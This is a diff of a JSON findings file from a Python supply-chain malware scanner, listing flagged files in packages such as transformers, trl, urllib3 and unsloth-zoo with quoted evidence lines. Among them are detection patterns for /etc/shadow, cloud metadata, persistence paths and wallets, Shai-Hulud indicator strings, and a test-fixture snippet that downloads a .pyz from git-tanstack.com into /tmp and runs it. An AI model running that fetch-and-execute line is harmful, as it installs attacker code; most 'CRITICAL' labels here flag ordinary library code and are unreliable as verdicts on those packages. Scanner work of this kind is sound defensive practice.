-      "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as r"
+      "evidence": "Archive: L212:     with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28:     with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63:         with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:",
+      "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080"
     },
     {
       "package": "traitlets",
       "file": "traitlets/config/loader.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)"
+      "evidence": "L82:         exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655:             exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)",
+      "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470"
     },
     {
       "package": "transformers",
       "file": "transformers/integrations/integration_utils.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L2057: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \"\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: w"
+      "evidence": "FS: L2125:                 \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530:         import urllib.request | L2561:             req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562:             with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:",
+      "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca"
     },
     {
       "package": "transformers",
       "file": "transformers/integrations/integration_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L2444: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: with urllib.request.urlopen(req, timeout=5, c"
+      "evidence": "Env: L2512:         token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530:         import urllib.request | L2561:             req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562:             with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:",
+      "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb"
     },
     {
       "package": "transformers",
       "file": "transformers/testing_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1577: while True:"
+      "evidence": "L1663:     while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65",
+      "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15"
+    },
+    {
+      "package": "transformers",
+      "file": "transformers/testing_utils.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L1623:     while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a",
+      "evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049"
+    },
+    {
+      "package": "transformers",
+      "file": "transformers/testing_utils.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L1577:     while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b",
+      "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9"
     },
     {
       "package": "transformers",
       "file": "transformers/testing_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L252: value = os.environ[key] | L268: value = os.environ[key] | L2043: env = os.environ.copy()\nNetwork: L2475: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:"
+      "evidence": "Env: L284:         value = os.environ[key] | L300:         value = os.environ[key] | L2129:         env = os.environ.copy() | L2251:             for k in list(os.environ.keys()):\nNetwork: L2561:     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4"
     },
     {
       "package": "transformers",
       "file": "transformers/testing_utils.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L2473: import socket"
+      "evidence": "L2473:     import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc",
+      "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736"
     },
     {
       "package": "transformers",
       "file": "transformers/utils/import_utils.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L2439: return importlib.import_module(\".\" + module_name, self.__name__)"
+      "evidence": "L2345:             return importlib.import_module(\".\" + module_name, self.__name__)",
+      "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
     },
     {
       "package": "triton",
       "file": "triton/tools/build_extern.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\""
+      "evidence": "L315:         self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317:     def disasm(self, lib_path: str) -> None:\nL318:         subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()",
+      "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890"
     },
     {
       "package": "trl",
       "file": "trl/extras/vllm_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L152: while True:"
+      "evidence": "L146:         while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe",
+      "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db"
+    },
+    {
+      "package": "trl",
+      "file": "trl/extras/vllm_client.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L152:         while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f",
+      "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1"
     },
     {
       "package": "trl",
       "file": "trl/import_utils.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L156: return importlib.import_module(\".\" + module_name, self.__name__)"
+      "evidence": "L144:             return importlib.import_module(\".\" + module_name, self.__name__)",
+      "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "Accesses cloud metadata/IMDS AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.re"
+      "evidence": "IMDS: L155:     r\"|/latest/meta-data\" | L156:     r\"|/metadata/instance\" | L157:     r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
+      "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as"
+      "evidence": "Archive: L1254:         with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
+      "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.url"
+      "evidence": "FS: L116:     r\"|/etc/shadow|/etc/passwd\" | L256:     r\"|/etc/shadow\" | L257:     r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
+      "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "Installs persistence AND makes network calls (backdoor pattern)",
       "severity": "CRITICAL",
-      "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.u"
+      "evidence": "Persist: L163:     r\"/etc/systemd/\" | L166:     r\"|/etc/cron\" | L169:     r\"|/Library/LaunchDaemons\" | L170:     r\"|/Library/LaunchAgents\" | L172:     r\"|~/.local/share/systemd\" | L174:     r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175:     r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
+      "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "May-12 Shai-Hulud IOC string present in Python file",
       "severity": "CRITICAL",
-      "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\","
+      "evidence": "L353:     r\"|With Love TeamPCP|We've been online over 2 hours)\",",
+      "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "Targets cryptocurrency wallets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as r"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "scripts/scan_packages.py",
-      "check": "Writes to /tmp and executes (staged dropper)",
-      "severity": "CRITICAL",
-      "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\","
+      "evidence": "Crypto: L294:     r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
+      "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/fixtures/_build.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve("
+      "evidence": "Archive: L129:     with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53:     \"https://git-tanstack.com/transformers.pyz\",\nL54:     \"/tmp/transformers.pyz\",\nL55: )",
+      "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/fixtures/_build.py",
       "check": "May-12 Shai-Hulud IOC string present in Python file",
       "severity": "CRITICAL",
-      "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)"
+      "evidence": "L53:     \"https://git-tanstack.com/transformers.pyz\", | L54:     \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)",
+      "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/fixtures/_build.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L54: \"/tmp/transformers.pyz\","
+      "evidence": "L54:     \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)",
+      "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/test_scan_packages.py",
       "check": "May-12 Shai-Hulud IOC string present in Python file",
       "severity": "CRITICAL",
-      "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\","
+      "evidence": "L154:         \"git-tanstack.com\", | L155:         \"/tmp/transformers.pyz\", | L156:         \"transformers.pyz\", | L157:         \"With Love TeamPCP\", | L158:         \"We've been online over 2 hours\",",
+      "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/test_scan_packages.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L155: \"/tmp/transformers.pyz\","
+      "evidence": "L155:         \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0",
+      "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_convert_hf_to_gguf_patcher.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "tests/test_quantize_gguf_q2_k_l.py",
-      "check": "Writes to /tmp and executes (staged dropper)",
-      "severity": "CRITICAL",
-      "evidence": "L67: input_gguf=\"/tmp/in.gguf\","
+      "evidence": "Env: L454:     if os.environ.get(\"GITHUB_TOKEN\"): | L455:         headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458:             r = requests.get(base_url + rel, timeout=15, headers=headers)",
+      "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_mlx_save_export_regressions.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L164: temporary_location=\"/tmp/ignored\","
+      "evidence": "L164:         temporary_location=\"/tmp/ignored\", sha256:78837e80d48e872ef191aaacfe5e1c621a98a20df486a70a41d1a932d074a5b3",
+      "evidence_hash": "dd11376e664d0d7e7f4cc4baf57eacd4b7ae7b03222dce3912ce68b63dbfca1e"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_quantize_gguf_q2_k_l.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L67:         input_gguf=\"/tmp/in.gguf\", sha256:32532cadc357beee1009f4e86481bdbe60a0b7bf47f6bb022b05ec1b8e15aed0",
+      "evidence_hash": "49f5b67379de17178f21a9bc93b79d6b94a70ecbdd16de86574934aac30a071d"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_upstream_pinned_symbols_transformers.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:"
+      "evidence": "Env: L60:     token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59:     req = urllib.request.Request(url) | L64:         with urllib.request.urlopen(req, timeout=15) as r:",
+      "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/device_type.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request( | L87: with urllib.request.urlopen(request, timeout = 2.5) as response:"
+      "evidence": "Env: L137:         value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82:             request = urllib.request.Request(\nL83:                 index_url,\nL84:                 headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85:                 method = method,\nL86:             ) | L87:             with urllib.request.urlopen(request, timeout = 2.5) as response: | L100:         request = urllib.request.Request(\nL101:             f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102:             headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103:         ) | L104:         with urllib.request.urlopen(request, timeout = 2.5) as response:",
+      "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/llama_cpp.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L847: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1546: response = requests.get( | L2694: check = requests.get(llama_cpp_"
+      "evidence": "Archive: L938:         with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2862:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
+      "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/llama_cpp.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L649: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L154"
+      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683:     token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2862:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
+      "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926"
     },
     {
       "package": "urllib3",
       "file": "urllib3/response.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L557: if retries is not None and retries.history:\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResp"
+      "evidence": "FS: L557:         if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403:                 \"Body should be http.client.HTTPResponse like. \"",
+      "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839"
     },
     {
       "package": "urllib3",
       "file": "urllib3/util/ssl_.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket,"
+      "evidence": "Env: L318:         sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329:     sock: socket.socket, | L347:     sock: socket.socket, | L364:     sock: socket.socket, | L462:     sock: socket.socket,",
+      "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d"
     },
     {
       "package": "attrs",
       "file": "attr/_make.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)"
+      "evidence": "Obfusc: L226:     bytecode = compile(script, filename, \"exec\") | L1632:         hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227:     eval(bytecode, globs, locs)",
+      "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61"
     },
     {
       "package": "beartype",
       "file": "beartype/_util/func/utilfuncmake.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)"
+      "evidence": "Obfusc: L271:         func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278:         exec(func_code_compiled, func_globals, func_locals)",
+      "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed"
     },
     {
       "package": "botocore",
       "file": "botocore/vendored/six.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")"
+      "evidence": "Obfusc: L87:     __import__(name)\nExec: L735:         exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",
+      "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"
     },
     {
       "package": "cffi",
       "file": "cffi/setuptools_ext.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)"
+      "evidence": "Obfusc: L25:     code = compile(src, filename, 'exec')\nExec: L26:     exec(code, glob, glob)",
+      "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402"
     },
     {
       "package": "ddgs",
       "file": "ddgs/dht/libp2p_client.py",
       "check": "DNS exfiltration / tunneling patterns",
       "severity": "HIGH",
-      "evidence": "L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")"
+      "evidence": "DNS: L15:     import dns.resolver | L63:             logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67:         answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195:             sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205:             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)",
+      "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4"
     },
     {
       "package": "dill",
       "file": "dill/_dill.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')"
+      "evidence": "Obfusc: L595:     return marshal.loads(string) | L1011:                 module = __import__(names[0]) | L1061:             submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064:             return __import__(import_name, None, None, [obj]) | L1066:             return __import__(import_name)\nExec: L979:     return eval(repr_str) | L1037:         return eval(attr+'.__dict__[\"'+name+'\"]')",
+      "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129"
     },
     {
       "package": "dill",
       "file": "dill/source.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals"
+      "evidence": "Obfusc: L394:                 lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60:         _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82:             _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395:                 obj = eval(lines[0].lstrip(name + ' = ')) | L541:             exec(getimportable(f, alias='_'), __globals__, __locals__) | L711:         try: exec(_str)",
+      "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c"
     },
     {
       "package": "dnspython",
       "file": "dns/query.py",
       "check": "DNS exfiltration / tunneling patterns",
       "severity": "HIGH",
-      "evidence": "L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"],"
-    },
-    {
-      "package": "execnet",
-      "file": "execnet/gateway_base.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L1290: co = compile(source + \"\\n\", file_name or \"<remote exec>\", \"exec\")\nExec: L1291: exec(co, loc)"
-    },
-    {
-      "package": "execnet",
-      "file": "execnet/script/socketserver.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L63: co = compile(source + \"\\n\", \"<socket server>\", \"exec\")\nExec: L45: exec( | L47: exec(source, locs)\"\"\" | L61: source = eval(source)"
+      "evidence": "DNS: L142:                 import dns.resolver | L144:                 resolver = dns.resolver.Resolver() | L414:     resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421:         import dns.resolver | L423:         resolver = dns.resolver.Resolver() | L457:     resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176:     return socket.socket(af, kind, proto) | L182:     [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566:     if session and not isinstance(session, httpx.Client): | L567:         raise ValueError(\"session parameter must be an httpx.Client\") | L598:         cm = httpx.Client(\nL599:             http1=h1, http2=h2, verify=verify, transport=transport\nL600:         ) | L1545:     s: socket.socket | ssl.SSLSocket, | L1556:     is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM",
+      "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971"
     },
     {
       "package": "fastmcp-slim",
       "file": "fastmcp/server/auth/providers/jwt.py",
       "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)",
       "severity": "HIGH",
-      "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))"
